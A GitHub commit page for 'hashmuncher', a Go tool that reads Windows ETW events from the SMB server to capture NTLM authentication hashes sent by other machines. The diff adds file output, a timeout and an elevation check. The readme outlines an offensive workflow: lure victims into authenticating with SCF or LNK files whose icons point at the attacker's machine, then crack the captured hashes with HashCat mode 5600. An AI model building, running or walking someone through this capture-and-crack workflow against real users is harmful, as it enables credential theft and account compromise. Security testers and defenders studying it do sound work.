Skip to content

Commit

Permalink
Code reorganization, timeout option, output to file added
Browse files Browse the repository at this point in the history
  • Loading branch information
lkarlslund committed May 6, 2023
1 parent 9a23063 commit 1913049
Show file tree
Hide file tree
Showing 7 changed files with 135 additions and 29 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
binaries/*
.vscode
*.exe
7 changes: 5 additions & 2 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,12 @@ module github.com/lkarlslund/hashmuncher

go 1.17

require github.com/0xrawsec/golang-etw v1.6.2
require (
github.com/0xrawsec/golang-etw v1.6.2
golang.org/x/sys v0.8.0
)

require (
github.com/0xrawsec/golang-utils v1.3.1 // indirect
github.com/lkarlslund/binstruct v1.3.1-0.20230504093039-8f69d6d48410
)
)
4 changes: 4 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ github.com/0xrawsec/golang-etw v1.6.2/go.mod h1:nTLqX2X4dxf/XpYiFmVfWSrjER/CO3A1
github.com/0xrawsec/golang-utils v1.3.1 h1:jjiBzsxzcQPkmEV5KONJY4OnCoqTTW1eQMJcpSdk3hw=
github.com/0xrawsec/golang-utils v1.3.1/go.mod h1:DADTtCFY10qXjWmUVhhJqQIZdSweaHH4soYUDEi8mj0=
github.com/0xrawsec/toast v1.2.3 h1:nTs5NyAdmSoDfxlYjMVMYb9wj3C/MFpnoIoQBPUsHXg=
github.com/0xrawsec/toast v1.2.3/go.mod h1:sRvfNYxqVoH1sZnE18s9Knm/lkbarTGNvaNVBf2/h1k=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
Expand All @@ -18,6 +19,9 @@ github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a h1:1BGLXjeY4akVXGgbC9HugT3Jv3hCI0z56oJR5vAMgBU=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20190320215829-36c10c0a621f/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
74 changes: 66 additions & 8 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,13 +3,16 @@ package main
import (
"context"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"

"github.com/0xrawsec/golang-etw/etw"
"github.com/lkarlslund/hashmuncher/modules"
"golang.org/x/sys/windows"
)

type ProviderEventID struct {
Expand All @@ -18,27 +21,73 @@ type ProviderEventID struct {
}

func main() {
s := etw.NewRealTimeSession(randomString(32))
outputname := flag.String("output", "", "File to write detected hashes to, uses stdout if not supplied")
tracename := flag.String("tracename", "", "Use this fixed session name for the ETW trace rather than a random one")
timeout := flag.Int("timeout", 0, "Automatically end capture after seconds, 0 means no timeout")

log.Println("Hash Muncher - dumps incoming NTLM hashes from SMB service using ETW on Windows")

flag.Parse()

// Check that the process is running elevated, otherwise the ETW tracing will not work
var sid *windows.SID
err := windows.AllocateAndInitializeSid(&windows.SECURITY_NT_AUTHORITY, 2, windows.SECURITY_BUILTIN_DOMAIN_RID, windows.DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid)
if err != nil {
log.Fatalf("Could not allocate SID: %v", err)
}
token := windows.Token(0)
member, err := token.IsMember(sid)
if err != nil {
log.Fatalf("Could not detect token membership: %v", err)
}
if !member {
log.Println("Process needs to be run with elevated rights, this will probably not work")
}

// Setup output file or just default to stdout
output := os.Stdout
if *outputname != "" {
output, err = os.Create(*outputname)
if err != nil {
log.Fatalf("Could not create %v: %v", *outputname, err)
}
}
defer output.Close()

// Set up ETW dumping
sessionname := randomString(32)
if *tracename != "" {
sessionname = *tracename
}
s := etw.NewRealTimeSession(sessionname)
defer s.Stop()

modulemap := make(map[ProviderEventID]Module)
resultchan := make(chan ModuleResult, 32)

modulelist := []Module{&modules.NTLMHash{}}
modulelist := []Module{&NTLMHash{}}
for _, module := range modulelist {
provider, err := module.Init()
provider, err := module.Init(resultchan)
if err != nil {
panic(err)
log.Fatalf("Problem initializing module: %v\n", err)
}

for _, eventid := range provider.Filter {
modulemap[ProviderEventID{Provider: provider.GUID, EventID: eventid}] = module
}

if err := s.EnableProvider(provider); err != nil {
panic(err)
log.Fatalf("Problem enabling provider %v: %v\n", provider, err)
}
}

// Output results
go func() {
for result := range resultchan {
fmt.Fprintf(output, "%s\n", result.String())
}
}()

// Consuming from the trace
c := etw.NewRealTimeConsumer(context.Background())
defer c.Stop()
Expand All @@ -55,7 +104,7 @@ func main() {
if b, err = json.Marshal(e); err != nil {
panic(err)
}
fmt.Println(string(b))
log.Printf("Unhandled event recieved: %s\n", string(b))
}
}
}()
Expand All @@ -64,7 +113,16 @@ func main() {
panic(err)
}

sigchan := make(chan os.Signal)
sigchan := make(chan os.Signal, 16)
signal.Notify(sigchan, os.Interrupt, syscall.SIGTERM)

// Auto timeout
if *timeout > 0 {
go func() {
time.Sleep(time.Duration(*timeout) * time.Second)
sigchan <- os.Interrupt
}()
}

<-sigchan
}
6 changes: 5 additions & 1 deletion module.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,10 @@ package main
import "github.com/0xrawsec/golang-etw/etw"

type Module interface {
Init() (etw.Provider, error)
Init(resultchan chan<- ModuleResult) (etw.Provider, error)
ProcessEvent(e *etw.Event)
}

type ModuleResult interface {
String() string
}
62 changes: 47 additions & 15 deletions modules/ntlmhashes.go → ntlmhashes.go
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
package modules
package main

import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"unicode/utf16"

"github.com/0xrawsec/golang-etw/etw"
Expand All @@ -13,14 +14,42 @@ import (

type NTLMHash struct {
lastServerChallenge []byte
resultchan chan<- ModuleResult
}

func (m *NTLMHash) Init() (etw.Provider, error) {
type NTLMResult struct {
User, WorkStation, Target string
Challenge []byte
Hash []byte
MoreHash []byte
}

func (nr NTLMResult) String() string {
if len(nr.MoreHash) == 0 {
return fmt.Sprintf("%s::%s:%X:%X\n",
nr.User,
nr.WorkStation,
nr.Challenge,
nr.Hash)
}
return fmt.Sprintf("%s::%s:%X:%X:%X\n",
nr.User,
nr.Target,
nr.Challenge,
nr.Hash,
nr.MoreHash,
)
}

func (m *NTLMHash) Init(resultchan chan<- ModuleResult) (etw.Provider, error) {
m.resultchan = resultchan

provider, err := etw.ParseProvider("Microsoft-Windows-SMBServer")
if err != nil {
return provider, err
}
provider.Filter = []uint16{40000}

return provider, nil
}

Expand Down Expand Up @@ -66,20 +95,23 @@ func (m *NTLMHash) ProcessEvent(e *etw.Event) {
err := binstruct.UnmarshalLE(rawmessage, &message)
if err == nil && m.lastServerChallenge != nil {
if message.NTLMHash.Length == 24 {
fmt.Printf("%s::%s:%X:%X\n",
message.UserName.UTF16String(),
message.WorkStationName.UTF16String(),
m.lastServerChallenge,
message.NTLMHash.Data)
m.resultchan <- NTLMResult{
User: message.UserName.UTF16String(),
WorkStation: message.WorkStationName.UTF16String(),
Challenge: m.lastServerChallenge,
Hash: message.NTLMHash.Data,
}
} else if message.NTLMHash.Length > 24 {
fmt.Printf("%s::%s:%X:%X:%X\n",
message.UserName.UTF16String(),
message.TargetName.UTF16String(),
m.lastServerChallenge,
message.NTLMHash.Data[:16],
message.NTLMHash.Data[16:])
m.resultchan <- NTLMResult{
User: message.UserName.UTF16String(),
WorkStation: message.WorkStationName.UTF16String(),
Target: message.TargetName.UTF16String(),
Challenge: m.lastServerChallenge,
Hash: message.NTLMHash.Data[:16],
MoreHash: message.NTLMHash.Data[16:],
}
} else {
fmt.Printf("Short NTLM hash encountered: %s:%s:%s:%X:%X:%X\n",
log.Printf("Short NTLM hash encountered: %s:%s:%s:%X:%X:%X\n",
message.UserName.UTF16String(),
message.WorkStationName.UTF16String(),
message.TargetName.UTF16String(),
Expand All @@ -90,7 +122,7 @@ func (m *NTLMHash) ProcessEvent(e *etw.Event) {
}
m.lastServerChallenge = nil
} else {
fmt.Println(err)
log.Println(err)
}
}

Expand Down
10 changes: 7 additions & 3 deletions readme.MD
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,11 @@
- Press Ctrl-C to stop processing
- Crack hashes with HashCat using -m 5600

### Download auto built binaries from [releases](/~https://github.com/lkarlslund/hashmuncher/releases) or build and install on Windows with this Go command
## Getting Hash Muncher

### Download auto built binaries from [releases](/~https://github.com/lkarlslund/hashmuncher/releases)

### Build and install on Windows with this Go command

```bash
go install github.com/lkarlslund/hashmuncher@latest
Expand All @@ -24,10 +28,10 @@ cd hashmuncher
./build.ps1
```

### Usage
## Usage

```bash
hashmuncher.exe
hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help]
```

Now wait for someone to authenticate against your machine. There are various techniques for this but SCF and LNK files with icons pointing to your machine is a popular way. Press Ctrl-C when you're done, copy output to a text file and run HashCat.
Expand Down

0 comments on commit 1913049

Please sign in to comment.